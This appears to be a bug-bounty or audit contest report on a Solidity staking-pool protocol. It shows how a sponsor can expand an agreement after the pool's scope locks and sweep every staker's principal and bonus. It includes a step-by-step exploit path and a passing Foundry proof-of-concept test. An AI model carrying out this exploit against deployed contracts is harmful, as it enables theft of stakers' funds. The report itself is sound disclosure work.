FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Post lock agreement expansion can still auto-corrupt an out of scope pool

Author Revealed upon completion

Root + impact

Description

Summary

The same post-lock agreement expansion bug has a second, stronger sink than the withdraw() freeze above. Even after a pool locks its published scope, the sponsor can still expand the upstream agreement, let that never-published contract drive the shared agreement into CORRUPTED, and then rely on claimExpired()'s scope-blind backstop to auto-resolve bad-faith CORRUPTED after grace. The result is a full sweep of staker principal plus bonus to recoveryAddress from a contract that was never part of pool.getScopeAccounts().

Vulnerability details

This is not just the accepted section 6 tradeoff that claimExpired() is scope-blind during moderator absence. The deeper implementation break is that the protocol treats the pool's insured set as fixed after lock, while the factory simultaneously requires the pool sponsor to own the upstream agreement, the README says the sponsor "cannot alter scope once locked", and DESIGN separately promises that post-lock agreement additions "do not extend this pool's coverage". In reality, scopeLocked only freezes the pool-local setPoolScope() entrypoint; it does not freeze the upstream agreement that the pool continues to trust through the live AttackRegistry.

function createPool(
address agreement,
address stakeToken,
uint256 expiry,
uint256 minStake,
address recoveryAddress,
address[] calldata accounts
) external whenNotPaused returns (address pool) {
...
if (IAgreement(agreement).owner() != msg.sender) revert UnauthorizedCreator();

Once the pool leaves pre-attack staging, its local scope commitment no longer changes, but the upstream agreement can still add BattleChain accounts after lock and each new account is auto-linked into the already-registered agreement through the _addToBattleChainScope() sync hook and AttackRegistry's registerContractForExistingAgreement() path. That means the agreement-level state trusted by claimExpired() can start reflecting a contract that still does not appear in the pool's frozen scope commitment.

function addAccounts(string memory caip2ChainId, Account[] memory newAccounts) external onlyOwner {
...
for (uint256 i; i < newAccounts.length; ++i) {
s_accounts[caip2ChainId].push(newAccounts[i]);
if (isBattleChain) {
_addToBattleChainScope(newAccounts[i].accountAddress);
}
emit AccountAdded(caip2ChainId, newAccounts[i]);
}
}
function registerContractForExistingAgreement(address contractAddress) external {
...
if (!info.isRegistered) return;
ContractState state = _getAgreementState(msg.sender);
if (state == ContractState.PRODUCTION || state == ContractState.CORRUPTED) return;
...
_validateAndLinkContract(contractAddress, msg.sender, IAgreement(msg.sender).owner());
}

That expanded agreement state then reaches the scope-blind expiry backstop. Section 6 of DESIGN.md accepts that claimExpired() cannot distinguish in-scope from out-of-scope corruption once the agreement itself is CORRUPTED, but that accepted tradeoff assumes the agreement's risk surface still matches the pool's locked coverage set. Here it does not. After the sponsor-added contract drives the shared agreement into active risk and then CORRUPTED, claimExpired() consults only the live agreement-wide registry state and finalizes bad-faith CORRUPTED, after which claimCorrupted() sweeps the whole pool.

function claimExpired() external nonReentrant {
...
if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
outcomeFlaggedAt = riskWindowEnd;
corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
claimsStarted = true;
emit OutcomeFlagged(address(0), PoolStates.Outcome.CORRUPTED, false, address(0));
return;
}

This exploit is reachable under the documented control model:

  1. The sponsor creates a pool from an agreement they own, which the factory enforces.

  2. The pool observes a non-staging registry state and permanently locks its local scope commitment.

  3. While the agreement is still non-terminal, the same sponsor calls Agreement.addAccounts() upstream and links a new BattleChain contract into that live agreement.

  4. The pool's published scope remains frozen and still excludes the added contract.

  5. The added contract drives the shared agreement into UNDER_ATTACK, and any caller can seal riskWindowStart through pokeRiskWindow().

  6. The same added contract later drives the agreement into CORRUPTED.

  7. If the moderator is absent through expiry + MODERATOR_CORRUPTED_GRACE, any caller can execute claimExpired(), flip the pool to bad-faith CORRUPTED, and then sweep the full balance through claimCorrupted().

Risk

Likelihood:

  • Reason 1 : The confiscation path materializes after the sponsor expands the live agreement post-lock, the added contract drives UNDER_ATTACK, and the same agreement later reaches terminal CORRUPTED.

  • Reason 2 : The mechanical sweep occurs after the moderator grace window elapses, when any caller can invoke claimExpired() against the now-mutated agreement state and finalize bad-faith CORRUPTED.


Impact

The sponsor can bypass the advertised post-lock scope limitation and confiscate the full pool from a never-published contract. Stakers deposit against one fixed scope, but a later upstream addition can become the breach surface, push the shared agreement into CORRUPTED, and still sweep all principal plus bonus to recoveryAddress.

POC

function testLockedPoolCanAutoCorruptAgainstAddedContractOutsidePublishedScope() external {
stakeToken.mint(alice, 100 * ONE);
vm.startPrank(alice);
stakeToken.approve(address(pool), 100 * ONE);
pool.stake(100 * ONE);
vm.stopPrank();
stakeToken.mint(carol, 30 * ONE);
vm.startPrank(carol);
stakeToken.approve(address(pool), 30 * ONE);
pool.contributeBonus(30 * ONE);
vm.stopPrank();
vm.expectRevert(bytes("unlinked contract"));
attackRegistry.approveAttackForContract(contract2);
address[] memory newAccounts = new address[](1);
newAccounts[0] = contract2;
vm.prank(sponsor);
agreement.addAccounts(newAccounts);
assertTrue(pool.scopeLocked(), "pool scope should remain locked");
assertEq(pool.getScopeAccounts().length, 1, "published pool scope should remain unchanged");
assertEq(pool.getScopeAccounts()[0], contract1, "pool should still publish only the original contract");
assertTrue(pool.isAccountInScope(contract1), "original contract should stay in the frozen pool scope");
assertFalse(pool.isAccountInScope(contract2), "added contract was never published in pool scope");
assertTrue(agreement.isContractInScope(contract1), "upstream agreement still covers the original contract");
assertTrue(agreement.isContractInScope(contract2), "upstream agreement should now track the added contract");
assertEq(
attackRegistry.getAgreementForContract(contract2),
address(agreement),
"added contract should be linked into the live agreement"
);
attackRegistry.approveAttackForContract(contract2);
assertTrue(
attackRegistry.isTopLevelContractUnderAttack(contract2),
"the never-underwritten contract is now the active-risk surface for the agreement"
);
vm.prank(dave);
pool.pokeRiskWindow();
attackRegistry.markCorruptedForContract(contract2);
vm.warp(pool.expiry() + pool.MODERATOR_CORRUPTED_GRACE());
vm.prank(dave);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED), "pool should auto-resolve corrupted");
assertEq(pool.snapshotTotalStaked(), 100 * ONE, "full principal should be reserved for sweep");
assertEq(pool.snapshotTotalBonus(), 30 * ONE, "full bonus should be reserved for sweep");
assertEq(pool.corruptedReserve(), 130 * ONE, "entire pool should become sweepable");
assertTrue(pool.claimsStarted(), "mechanical corrupted should finalize the outcome");
uint256 recoveryBefore = stakeToken.balanceOf(recovery);
vm.prank(dave);
pool.claimCorrupted();
assertEq(
stakeToken.balanceOf(recovery) - recoveryBefore,
130 * ONE,
"out-of-pool added-contract corruption should still sweep the entire pool"
);
assertEq(stakeToken.balanceOf(alice), 0, "staker should lose principal");
assertEq(stakeToken.balanceOf(address(pool)), 0, "pool should be emptied by the corrupted sweep");
}

Run command:

forge test --offline --match-path test/unit/ConfidencePool.scopeExpansion.t.sol --match-test testLockedPoolCanAutoCorruptAgainstAddedContractOutsidePublishedScope

Observed output:

No files changed, compilation skipped
Ran 1 test for test/unit/ConfidencePool.scopeExpansion.t.sol:ConfidencePoolScopeExpansionTest
[PASS] testLockedPoolCanAutoCorruptAgainstAddedContractOutsidePublishedScope() (gas: 629228)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.36ms (1.12ms CPU time)
Ran 1 test suite in 10.94ms (6.36ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

The exploit test proves the full end-to-end path the protocol claims should be impossible after lock: the pool's published scope stays fixed on contract1, contract2 is linked only through the upstream agreement rewrite, and the never-published contract2 still drives UNDER_ATTACK -> CORRUPTED -> claimExpired() -> claimCorrupted() until the entire pool is swept.

Mitigation

Freeze the effective agreement scope at lock and ignore post-lock agreement additions when evaluating active risk, expiry resolution, and corrupted sweeps.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!